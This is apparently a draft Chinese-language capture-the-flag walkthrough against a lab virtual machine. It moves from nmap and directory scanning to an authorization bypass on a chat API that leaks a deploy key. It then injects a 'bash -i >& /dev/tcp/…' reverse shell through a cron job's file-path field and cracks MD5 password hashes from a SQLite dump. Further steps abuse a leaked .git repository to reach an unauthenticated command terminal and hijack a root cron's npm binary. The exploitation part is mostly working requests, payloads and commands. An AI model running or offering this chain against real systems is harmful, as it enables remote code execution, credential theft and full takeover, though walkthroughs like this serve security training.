

1.nmap扫描, 目录扫描

```
root@kali ~ nmap 192.168.31.36
12:56:25
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-27 12:57 EDT
Nmap scan report for
my.yunhai.com (192.168.31.36)
Host is up (0.0014s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8000/tcp   open  http-alt
8088/tcp   open  radan-http
MAC Address: 08:00:27:30:B0:50 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

```
root@kali ~ dirsearch -u "http://192.168.31.36:8088/"
11:27:02
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is
deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
```

```

  _|. _ _  _  _ _ _|.  v0.4.3
  (||| ) (/ _|| (|)

```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist
size: 11460

Output File: /root/reports/http_192.168.31.36_8088/___26-07-27_11-27-08.txt

Target: http://192.168.31.36:8088/

```
[11:27:08] Starting:
[11:27:37] 200 - 285B - /install/
[11:27:37] 404 - 571B - /install/index.php?upgrade/
[11:27:37] 404 - 571B - /install/update.log
```

Task Completed

```
root@kali ~ dirsearch -u "http://192.168.31.36:8000/"
11:28:01
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is
deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
```

```

  _|. _ _  _  _ _ _|.  v0.4.3
  (||| ) (/ _|| (|)

```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist

Task Completed

5.注册登录,抓包看到多个数据包,找到几个关键路径

```
/api/chat/send  
/style.css  
/dashboard.html  
/api/chat/channels  
/api/chat/my-channels  
/chat.html  
/profile.html  
/app.js  
/api/chat/history?channel_id=
```

可以找到两个类似的接口channels和my-channels

channels

```
HTTP/1.1 200 OK  
Server: nginx/1.14.2  
Date: Mon, 27 Jul 2026 16:05:47 GMT  
Content-Type: application/json  
Content-Length: 463  
Connection: keep-alive  
  
{  
  "code": 200,  
  "data": [  
    {  
      "id": "ch_pub_001",  
      "name": "公共频道",  
      "type": "public",  
      "members": 128  
    },  
    {  
      "id": "ch_ops_002",  
      "name": "运维通知",  
      "type": "internal",  
      "members": 5  
    },  
    {  
      "id": "ch_kf_003",  
      "name": "客服内部",  
      "type": "internal",  
      "members": 12  
    },  
    {  
      "id": "ch_hr_004",  
      "name": "HR内部",  
      "type": "internal",  
      "members": 8  
    },  
    {  
      "id": "ch_notice_005",  
      "name": "官方公告",  
      "type": "public",  
      "members": 256  
    },  
    {  
      "id": "ch_kf_chat_006",  
      "name": "客服小云的私聊",  
      "type": "public",  
      "members": 42  
    }  
  ]  
}
```

my-channels

```
HTTP/1.1 200 OK  
Server: nginx/1.14.2  
Date: Mon, 27 Jul 2026 16:06:44 GMT  
Content-Type: application/json  
Content-Length: 252  
Connection: keep-alive  
  
{  
  "code": 200,  
  "data": [  
    {  
      "id": "ch_pub_001",  
      "name": "公共频道",  
      "type": "public",  
      "members": 128  
    },  
    {  
      "id": "ch_notice_005",  
      "name": "官方公告",  
      "type": "public",  
      "members": 256  
    },  
    {  
      "id": "ch_kf_chat_006",  
      "name": "客服小云的私聊",  
      "type": "public",  
      "members": 42  
    }  
  ]  
}
```

和channel查询接口

```
GET /api/chat/history?channel_id=ch_pub_001&page=1&size=20 HTTP/1.1
Host: my.yunhai.com
Authorization: Bearer
eyJhbGciOiAiSFMyNTYiLCJkaWVzIjoiY2x1IiwiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://my.yunhai.com/chat.html
Accept-Encoding: gzip, deflate, br
Cookie:
token=eyJhbGciOiAiSFMyNTYiLCJkaWVzIjoiY2x1IiwiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Connection: keep-alive
```

其他相关接口

```
GET /api/tickets?id=15 HTTP/1.1
Host: my.yunhai.com
Authorization: Bearer
eyJhbGciOiAiSFMyNTYiLCJkaWVzIjoiY2x1IiwiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://my.yunhai.com/chat.html
Accept-Encoding: gzip, deflate, br
Cookie
:
token=eyJhbGciOiAiSFMyNTYiLCJkaWVzIjoiY2x1IiwiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 27 Jul 2026 16:09:47 GMT
Content-Type: application/json
Content-Length: 170
Connection: keep-alive

{"code":200,"data":{"id":15,"user":"kefu10001","title":"内部：旧版API下线通知","content":"旧版 /ops/v1
已下线，请使用新版 /ops/api","channel_ref":""}}
```

6.越权查看

GET /api/chat/history?channel_id=ch_ops_002&page=1&size=20 HTTP/1.1
Host: my.yunhai.com
Authorization: Bearer
eyJhbGciOiAiSFMyNTYiLCJAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiAidGVzdCIscIjYb2xlljogInVzZXliLCAiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://my.yunhai.com/chat.html
Accept-Encoding: gzip, deflate, br
Cookie:
token=eyJhbGciOiAiSFMyNTYiLCJAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiAidGVzdCIscIjYb2xlljogInVzZXliLCAiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 27 Jul 2026 16:05:54 GMT
Content-Type: application/json
Content-Length: 1400
Connection: keep-alive

```
{
  "code": 200,
  "data": [
    {
      "id": 11,
      "channel_id": "ch_ops_002",
      "user": "system",
      "msg": "【通知】运维后台已迁移至 /ops/api，旧版 /ops/v1 将于月底下线",
      "time": "05-20 10:00"
    },
    {
      "id": 12,
      "channel_id": "ch_ops_002",
      "user": "yunhai",
      "msg": "收到，新版入口是 /ops/api/exec 吧？我更新一下脚本",
      "time": "05-20 14:30"
    },
    {
      "id": 13,
      "channel_id": "ch_ops_002",
      "user": "system",
      "msg": "【监控告警】磁盘使用率 75%，请检查 /app/logs 目录",
      "time": "05-25 08:00"
    },
    {
      "id": 14,
      "channel_id": "ch_ops_002",
      "user": "cicd-bot",
      "msg": "【部署通知】v2.3.1 已上线 ops 节点\nncurl -X POST https://ops.internal/deploy -H 'X-Deploy-Key: ops_yunhai_2026' -d '{\"version\":\"2.3.1\"}'\n→ 200 OK",
      "time": "05-28 16:00"
    },
    {
      "id": 15,
      "channel_id": "ch_ops_002",
      "user": "yunhai",
      "msg": "部署验证通过，所有服务正常",
      "time": "05-29 09:00"
    },
    {
      "id": 16,
      "channel_id": "ch_ops_002",
      "user": "system",
      "msg": "【公告】6月运维值班表已更新",
      "time": "05-30 11:00"
    },
    {
      "id": 17,
      "channel_id": "ch_ops_002",
      "user": "system",
      "msg": "【告警】CPU 使用率持续超过80%，建议扩容",
      "time": "06-01 07:00"
    },
    {
      "id": 18,
      "channel_id": "ch_ops_002",
      "user": "yunhai",
      "msg": "日志清理已完成，磁盘恢复到60%",
      "time": "06-02 15:00"
    },
    {
      "id": 19,
      "channel_id": "ch_ops_002",
      "user": "cicd-bot",
      "msg": "【回滚通知】v2.3.0 因数据库连接池问题已回滚，请知悉",
      "time": "06-03 10:00"
    }
  ],
  "total": 9
}
```

找到bot访问的-H参数

X-Deploy-Key: ops_yunhai_2026

尝试访问

```
http://my.yunhai.com/ops/
```

可以有很多接口, 如

```
http://my.yunhai.com/ops/dashboard
```

==TODO改描述==

现在的exec没了

7.rce接口

```
GET /ops/api/cron/jobs HTTP/1.1
Host: my.yunhai.com
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://my.yunhai.com/ops/
Accept-Encoding: gzip, deflate, br
Cookie:
token=eyJhbGciOiAiSFMyNTYiLCJhdHlwIjogImkpXVCJ9.eyJzdWIiOiAiGVzdCIsIjYb2xlljogInVzZXliLCAiaWF0IjogMTc4NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Connection: keep-alive
```

```
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 27 Jul 2026 16:27:43 GMT
Content-Type: application/json
Content-Length: 2951
Connection: keep-alive
```

```
{"code":200,"data":[{"id":1,"name":"每日磁盘检查","template_id":"tpl_disk_check","template_name":"磁盘检查","cmd_template":"df -h","params":{"cron_expr":"0 8 * * *","enabled":true,"created_by":"admin","created_at":1778246436,"last_run":1781959751}},{"id":2,"name":"小时日志清理","template_id":"tpl_log_cleanup","template_name":"日志清理","cmd_template":
```

```
"find {path} -name '*.log' -mtime +{days} -delete 2>&1","params":{"path":"/app/logs","days":"7"},
"cron_expr":"0 * * * *","enabled":true,"created_by":"admin","created_at":1778678436,"last_run":
1780836636},{ "id":3,"name":"每日备份应用日志","template_id":"tpl_backup","template_name":"文件备
份","cmd_template":"tar czf /tmp/{filename} {source_path} 2>&1","params":{"filename":
"app_logs_$(date +%Y%m%d).tgz","source_path":"/app/logs/"},"cron_expr":"0 2 * * *","enabled":true,
"created_by":"admin","created_at":
1779110436,"last_run":1781960130},{ "id":4,"name":"test","template_id":"tpl_backup",
"template_name":"文件备份","cmd_template":"tar czf /tmp/{filename} {source_path} 2>&1","params":{"
filename":"x","source_path":"/app"},"cron_expr":"","enabled":true,"created_by":"cicd-bot","created_at"
:1780838469,"last_run":1781959789},{ "id":5,"name":"rce","template_id":"tpl_disk_check",
"template_name":"磁盘检查","cmd_template":"df -h","params":{"cron_expr":"*****","enabled":true,
"created_by":"cicd-bot","created_at":
1781959660,"last_run":0},{ "id":7,"name":"ceshi","template_id":"tpl_tail_log","template_name":"日志查
看","cmd_template":"tail -n {lines} {filepath} 2>&1","params":{"lines":"1","filepath":"123;id"},"cron_expr"
:"", "enabled":true,"created_by":"cicd-bot","created_at":1781961398,"last_run":1781961417},{ "id":8,
"name":"ceshi2","template_id":"tpl_tail_log","template_name":"日志查看","cmd_template":"tail -n
{lines} {filepath} 2>&1","params":{"lines":"123;id","filepath":"123"},"cron_expr":"","enabled":true,
"created_by":"cicd-bot","created_at":1781961729,"last_run":1781961744},{ "id":11,"name":"ceshi",
"template_id":"tpl_tail_log","template_name":"日志查看","cmd_template":"tail -n {lines} {filepath}
2>&1","params":{"lines":"1","filepath":"123;bash -i >& /dev/tcp/192.168.31.48/5555 0>&1"},
"cron_expr":"","enabled":true,"created_by":"cicd-bot","created_at":1781962203,"last_run":
1781962250},{ "id":12,"name":"ceshi","template_id":"tpl_tail_log","template_name":"日志查看",
"cmd_template":
"tail -n {lines} {filepath} 2>&1","params":{"lines":"1","filepath":"123;bash -i >&
/dev/tcp/192.168.31.48/5555 0>&1;"},"cron_expr":"","enabled":true,"created_by":"cicd-bot",
"created_at":1781962282,"last_run":1781962288},{ "id":14,"name":"ceshi","template_id":"tpl_tail_log",
"template_name":"日志查看","cmd_template":"tail -n {lines} {filepath} 2>&1","params":{"lines":"1",
"filepath":"123;bash -c \"bash -i >& /dev/tcp/192.168.31.48/5555 0>&1\""},"cron_expr":"","enabled":
true,"created_by":"cicd-bot",
"created_at":1781962656,"last_run":1781962675}}}]
```

==TODO清理痕迹==

利用, 日志查看, 反弹shell

```
"id":14,"name":"ceshi","template_id":"tpl_tail_log","template_name":"日志查看","cmd_template":"tail -n
{lines} {filepath} 2>&1","params":{"lines":"1","filepath":"123;bash -c \"bash -i >&
/dev/tcp/192.168.31.48/5555 0>&1\""},
```

```
POST /ops/api/cron/jobs HTTP/1.1
Host: my.yunhai.com
Content-Length: 152
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://my.yunhai.com
X-Deploy-Key: ops_yunhai_2026
Referer: http://my.yunhai.com/ops/
Accept-Encoding: gzip, deflate, br
Cookie
:
token=eyJhbGciOiAiSFMyNTYiLCJkaWVzIjoiICJyY2xlljogInVzZXliLCAiaWF0IjogMTc0NTE2Nzg5Nn0.0969b9e755497b271739bff1c9ee2f7d
Connection: keep-alive

{"template_id":"tpl_tail_log","name":"1111","params":{"lines":"1","filepath":"123;bash -c \"bash -i >&
/dev/tcp/192.168.31.42/5555 0>&1\""},"cron_expr":""}
```

也就是下面这个, "被转义了, 但是不影响"

```
bash -c "bash -i >& /dev/tcp/192.168.31.42/5555 0>&1"
```

8. 获取www权限

```
root@kali ~ nc -lvnp 5555
12:32:31
listening on [any] 5555 ...
id
connect to [192.168.31.42] from (UNKNOWN) [192.168.31.36] 49298
bash: cannot set terminal process group (337): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yunhaiApk:/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@yunhaiApk:/app$
```

9a. 提权到用户yunhai

.env文件


```
www-data@yunhaiApk:/app$ ls -la
ls -la
total 16
drwxr-xr-x 3 root www-data 4096 Jun 20 10:24 .
drwxr-xr-x 19 root root 4096 Jun 20 06:56 ..
drwxrwxr-x 5 root www-data 4096 Jul 27 12:33 app
-rw-r--r-- 1 root www-data 38 Jun 4 10:02 .env
www-data@yunhaiApk:/app$ cat .env
cat .env
DATABASE_URL=sqlite:///app/app.sqlite
```

查看数据库

```
www-data@yunhaiApk:/app/app$ sqlite3 app.sqlite ".tables"
sqlite3 app.sqlite ".tables"
channels          ops_config        ops_task_templates users
messages          ops_cron_jobs     ops_users
ops_audit_log     ops_sessions     tickets
www-data@yunhaiApk:/app/app$ sqlite3 app.sqlite ".schema users"
sqlite3 app.sqlite ".schema users"
CREATE TABLE users ( username TEXT PRIMARY KEY, password_hash TEXT NOT NULL
DEFAULT "", role TEXT DEFAULT 'user', nickname TEXT DEFAULT "", avatar TEXT DEFAULT "",
phone TEXT DEFAULT "", balance REAL DEFAULT 0.0, total_earn REAL DEFAULT 0.0,
today_earn REAL DEFAULT 0.0, team_count INTEGER DEFAULT 0);
www-data@yunhaiApk:/app/app$ sqlites app.sqlite "SELECT * FROM users"
sqlites app.sqlite "SELECT * FROM users"
bash: sqlites: command not found
www-data@yunhaiApk:/app/app$ sqlite3 app.sqlite -header "SELECT * FROM users"
sqlite3 app.sqlite -header "SELECT * FROM users"
username|password_hash|role|nickname|avatar|phone|balance|total_earn|today_earn|team_count
yunhai|f6271af3570ae0772fc25fcde71acca4|admin|运维小海|||0.0|0.0|0.0|0
test|098f6bcd4621d373cade4e832627b4f6|user|测试用户|||0.0|0.0|0.0|0
hacker|e10adc3949ba59abbe56e057f20f883e|user|hacker|||0.0|0.0|0.0|0
123|e10adc3949ba59abbe56e057f20f883e|user|123|||0.0|0.0|0.0|0
```

查哈希获取

```
f6271af3570ae0772fc25fcde71acca4
YunHai
```

```
www-data@yunhaiApk:/app/app$ echo "YunHai" | su - yunhai -c "id"
echo "YunHai" | su - yunhai -c "id"
Password: uid=1001(yunhai) gid=1001(yunhai) groups=1001(yunhai)
```

9b.提权到用户yunhai

本地有一个端口

```
www-data@yunhaiApk:/app/app$ ss -tlnp
ss -tlnp
State  Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
LISTEN  0        128      127.0.0.1:8080      0.0.0.0:*      users:(("nginx",pid=371,fd=9))
LISTEN  0        128      0.0.0.0:80         0.0.0.0:*      users:(("nginx",pid=371,fd=6))
LISTEN  0        128      0.0.0.0:22         0.0.0.0:*
LISTEN  0        128      0.0.0.0:8088       0.0.0.0:*      users:(("nginx",pid=371,fd=8))
LISTEN  0        128      127.0.0.1:4000     0.0.0.0:*
LISTEN  0        128      0.0.0.0:8000       0.0.0.0:*      users:(("nginx",pid=371,fd=7))
LISTEN  0        128      127.0.0.1:8001     0.0.0.0:*      users:(("python3",pid=337,fd=6))
LISTEN  0        128      [::]:22            [::]:*
```

可以看到, 多了8080,4000和8001

```
www-data@yunhaiApk:/app/app$ cat /etc/nginx/conf.d/internal.conf
cat /etc/nginx/conf.d/internal.conf
server {
    listen 127.0.0.1:8080;
    server_name internal.yunhai.local;

    # Serve .git directory directly for the leak
    location /.git/ {
        alias /opt/internal-app/.git/;
        autoindex on;
    }

    location / {
        proxy_pass http://127.0.0.1:4000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
    ;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
```

确认可行(希望能骗去web拿.git, 会麻烦一些)

```
busybox wget -qO- --header="Host: internal.yunhai.local" http://127.0.0.1:8080/
```

我们直接去翻git文件

/opt/internal-app/.git/

```
git log --oneline --all
git show c6bcaa4
```

```
www-data@yunhaiApk:/opt/internal-app/.git$ git log --oneline --all
git log --oneline --all
c6bcaa4 security: add waf rules for reverse shell prevention
cb6af5e style: update terminal UI and fix timeout
e0274da feat: add internal terminal for
remote debug
75d6e25 init: basic dashboard v1.0
www-data@yunhaiApk:/opt/internal-app/.git$ git show c6bcaa4
git show c6bcaa4
commit c6bcaa407ffc4f37c490449310e18ac85036ea07
Author: yunhai <yunhai@yunhai.local>
Date: Sat Jun 20 07:00:18 2026 -0400

    security: add waf rules for
reverse shell prevention

diff --git a/app.py b/app.py
index 733cdac..192b5c1 100644
--- a/app.py
+++ b/app.py
@@ -1,25 +1,51 @@
-from flask import Flask, request, render_template_string
-import subprocess, os
+from flask import Flask, render_template_string
+import os
+
+app = Flask(__name__)
-WAF_RULES = []
-def waf_check(cmd):
-    return None
-DASHBOARD = """<h1>Internal Dashboard v1.3.0</h1>"""
+
+DASHBOARD = """<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8
```

```

">
+<title>运维仪表盘 - Internal</title>
+<style>
+ body { font-family: monospace; background: #1a1a2e; color: #eee; max-width: 800px; margin:
40px auto; }
+ .card { background: #16213e; border: 1px solid #0f3460; border-radius: 8px; padding: 20px;
margin: 15px 0; }
+ h2 { color: #e94560; }
+ .green { color: #4ecca3; }
+ table { width: 100%; border-collapse: collapse; }
+ td, th { padding: 6px 10px; text-align: left; border-bottom: 1px solid #0f3460; }
+</style>
+</head>
+<body>
+<h1>Internal D
ashboard</h1>
+<div class="card">
+ <h2>System Status</h2>
+ <table>
+ <tr><td>Hostname</td><td class="green">{{ hostname }}</td></tr>
+ <tr><td>Uptime</td><td>{{ uptime }}</td></tr>
+ <tr><td>Load</td><td>{{ load }}</td></tr>
+ </table>
+</div>
+<div class="card">
+ <h2>Services</h2>
+ <table>
+ <tr><td>Main App (:8000)</td><td class="green">running</td></tr>
+ <tr><td>Dashboard (:4000)</td><td class="green">running</td></tr>
+ </table>
+</div>
+<div class="card" style="
font-size:12px;color:#666;">
+ internal.yunhai.local &copy; 2026 | version 1.0.0
+</div>
+</body>
+</html>""""
+
@app.route("/")
def dashboard():
- return render_template_string(DASHBOARD)
-TERMINAL_HTML = """"<html><body><h1>Terminal v1.3.0</h1></body></html>""""
-@app.route("/terminal", methods=["GET", "POST"])
-def terminal():
- output = ""
- if request.method == "POST":
- cmd = request.form.get("cmd", "
")
- if cmd:
- try:
- result = subprocess.check_output(cmd, shell=True, timeout=10,
stderr=subprocess.STDOUT)
- output = result.decode(errors="replace")
- except Exception as e:
- output = str(e)
- return render_template_string(TERMINAL_HTML, output=output)
+ hostname = os.popen("hostname").read().strip() or "ops-node-01"
+ uptime = os.popen("uptime -p 2>/dev/null || echo 'up 30 days'

```

```

").read().strip()
+ load = "0.50"
+ return render_template_string(DASHBOARD, hostname=hostname, uptime=uptime, load=load)
+
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=4000, debug=False)

```

获取权限

```

busybox wget -qO- --header="Host: internal.yunhai.local" \
--post-data='cmd=id' http://127.0.0.1:8080/terminal

```

```

www-data@yunhaiApk:/opt/internal-app/.git$ busybox wget -qO- --header="Host:
internal.yunhai.local" \
< wget -qO- --header="Host: internal.yunhai.local" \
>
--post-data='cmd=id' http://127.0.0.1:8080/terminal
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>Terminal</title>
<style>
  body { background: #000; color: #0f0; font-family: monospace; padding: 20px; }
  #output { white-space: pre-wrap; margin-bottom: 20px; min-height: 200px;
    border: 1px solid
#333; padding: 10px; max-height: 500px; overflow-y: auto; }
  form { display: flex; }
  input { flex: 1; background: #111; color: #0f0; border: 1px solid #333;
    padding: 8px; font-family: monospace; font-size: 14px; }
  button { background: #222; color: #0f0; border: 1px solid #333;
    padding: 8px 20px; cursor: pointer; }
  .hint { color: #555; font-size: 11px; margin-top: 10px; }
</style>
</head>
<body>
<pre id="output"
>uid=1001(yunhai) gid=1001(yunhai) groups=1001(yunhai)
</pre>
<form method="post">
  <input name="cmd" placeholder="$ enter command" autofocus autocomplete="off" spellcheck=
"false">
  <button type="submit">Run</button>
</form>
<div class="hint">internal terminal v1.4.2 | session: 29434</div>
</body>

```

其他

```
www-data@yunhaiApk:/app/app$ cd /opt/internal-app/  
cd /opt/internal-app/  
www-data@yunhaiApk:/opt/internal-app$ ls  
ls  
app.py  
__pycache__  
www-data@yunhaiApk:/opt/internal-app$ cat app.py  
cat app.py  
cat: app.py: Permission denied
```

其实这边直接去4000端口也可以执行, 其他信息当干扰项吧

```
busybox wget -qO- --post-data='cmd=id' http://127.0.0.1:4000/terminal
```

10.yunhai → root

这里为了方便, 接着9a做, ssh连上去

找到定时任务

```
yunhai@yunhaiApk:~$ cat /etc/cron.d/backup  
***** root cd /opt/backup && npm run backup > /dev/null 2>&1  
  
yunhai@yunhaiApk:~$ cat /opt/backup/package.json  
{  
  "name": "server-backup",  
  "version": "1.2.0",  
  "description": "自动化日志与配置备份工具",  
  "scripts": {  
    "backup": "backup-helper",  
    "rotate": "backup-helper --rotate 7",  
    "status": "backup-helper --status"  
  },  
  "dependencies": {  
    "archiver": "^6.0.0"  
  }  
}  
  
yunhai@yunhaiApk:~$ ls /opt/backup/ -la  
total 48  
drwxrwxr-x 3 root yunhai 4096 Jun 20 07:03 .  
drwxr-xr-x 4 root root 4096 Jun 20 07:02 ..  
drwxr-xr-x 44 root yunhai 4096 Jun 20 10:12 node_modules  
-rw-r--r-- 1 root yunhai 291 Jun 20 07:02 package.json  
-rw-r--r-- 1 root root 32220 Jun 20 07:03 package-lock.json
```

```
cd /opt/backup
mv node_modules .node_modules_real
mkdir -p node_modules/.bin

cat > node_modules/.bin/backup-helper << 'EOF'
#!/bin/bash
cat /root/root.txt> /tmp/flag
EOF
chmod +x node_modules/.bin/backup-helper
```